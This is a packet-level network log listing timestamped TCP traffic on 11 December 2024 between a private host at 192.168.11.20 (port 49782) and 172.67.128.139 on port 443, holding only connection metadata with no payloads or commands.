Dec 11, 2024 12:15:51.185182095 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.185182095 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.185363054 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.185363054 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.185375929 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.185555935 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.185555935 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.187509060 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.187558889 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.187711000 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.187711000 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.187894106 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.187894106 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.187894106 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.187906981 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.188071966 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.189172983 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.189203978 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.189521074 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.189521074 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.189521074 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.189541101 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.189709902 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.191116095 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.191144943 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.191308022 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.191308022 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.191325903 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.191574097 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.191574097 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.191998959 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.192140102 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.192255974 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.194050074 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.194099903 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.194216967 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.194400072 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.194411039 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.196451902 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.196494102 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.197174072 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.197174072 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.197191000 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.197362900 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.197362900 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.198230982 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.198268890 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.198585987 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.198585987 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.198585987 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.198585987 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.198606014 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.200220108 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.200258970 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.200351954 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.200373888 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.200400114 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.200592995 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.200592995 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.202172995 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.202243090 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.202348948 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.202348948 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.202529907 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.202529907 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.202548027 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.204113960 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.204169989 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.204283953 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.204283953 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.204307079 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.204477072 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.204477072 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.204477072 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.204477072 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.206568003 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.206640005 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.206738949 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.206738949 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.206918955 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.206919909 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.206919909 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.206919909 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.206935883 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.208611965 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.208653927 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.208779097 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.208779097 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.208801031 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.208971977 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.208971977 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.210268974 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.210303068 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.210432053 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.210433006 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.210455894 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.210624933 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.210624933 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.210818052 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.212496042 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.212538958 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.212666988 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.212666988 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.212690115 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.212857008 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.213049889 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.214312077 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.214396000 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.214482069 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.214510918 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.214673996 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.214674950 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.424268007 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.424283028 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.424371958 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.424443007 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.424635887 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.424635887 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.424635887 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.424666882 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.424901962 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.428181887 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.428224087 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.428353071 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.428353071 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.428529978 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.428546906 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.428723097 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.428723097 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.428766966 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.430094957 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.430135012 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.430239916 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.430282116 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.430282116 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.430306911 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.430444956 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.430444956 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.430633068 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.432107925 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.432148933 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.432456970 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.432456970 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.432456970 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.432498932 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.432718039 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.434045076 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.434084892 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.434259892 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.434395075 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.434395075 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.434429884 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.434588909 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.434588909 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.435971022 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.436038017 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.436325073 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.436325073 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.436361074 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.436379910 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.436573982 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.438277006 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.438318968 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.438448906 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.438448906 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.438627958 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.438627958 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.438628912 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.438663006 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.438817024 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.440160036 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.440198898 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.440352917 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.440702915 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.440728903 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.441020012 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.442186117 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.442292929 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.442365885 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.442547083 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.442547083 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.442547083 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.442581892 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.442723036 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.444071054 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.444113016 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.444242954 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.444242954 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.444242954 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.444283962 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.444422007 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.444613934 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.444613934 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.446089983 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.446141005 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.446280003 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.446280003 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.446341991 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.446341991 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.446373940 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.446515083 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.446711063 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.448622942 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.448693991 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.448798895 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.448798895 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.448976040 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.448976994 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.449013948 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.449160099 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.449352026 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.450418949 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.450464964 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.450619936 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.450619936 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.450795889 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.450795889 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.450795889 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.450825930 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.451014996 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.452398062 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.452446938 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.452573061 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.452573061 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.452753067 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.452753067 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.452790022 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.452944040 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.454308033 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.454391956 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.454488993 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.454489946 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.454660892 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.454690933 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.454858065 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.455041885 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.456854105 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.456902027 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.457027912 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.457027912 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.457206964 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.457206964 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.457247019 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.457490921 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.458436012 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.458486080 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.458611965 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.458796024 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.458796024 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.458796024 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.458833933 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.459031105 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.460573912 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.460622072 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.460752010 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.460752010 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.460927963 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.460928917 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.460968971 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.461122036 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.461122036 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.463306904 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.463399887 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.463481903 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.463665009 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.463665009 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.463665009 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.463665009 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.463715076 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.464026928 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.465142965 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.465189934 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.465322971 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.465323925 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.465503931 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.465503931 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.465542078 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.465759039 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.466972113 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.467020988 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.467140913 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.467319012 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.467319965 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.467349052 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.467521906 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.467521906 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.467521906 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.468725920 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.468779087 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.468899012 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.468899012 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.469063044 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.469063044 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.469063044 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.469105005 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.469254017 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.471307039 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.471354008 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.471672058 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.471672058 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.471672058 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.471713066 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.471848011 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.473324060 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.473381042 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.473531008 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.473567963 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.473701000 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.473701954 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.473849058 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.475179911 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.475228071 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.475338936 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.475575924 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.475616932 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.475760937 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.476111889 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.679812908 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.679862976 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.679987907 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.680166960 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.680166960 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.680197001 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.680403948 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.681798935 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.681848049 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.681968927 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.682152033 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.682152033 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.682152033 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.682178020 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.682362080 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.683701992 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.683752060 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.683845997 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.683845997 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.683892965 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.683906078 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.684072018 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.684072018 CET	49782	443	192.168.11.20	172.67.128.139
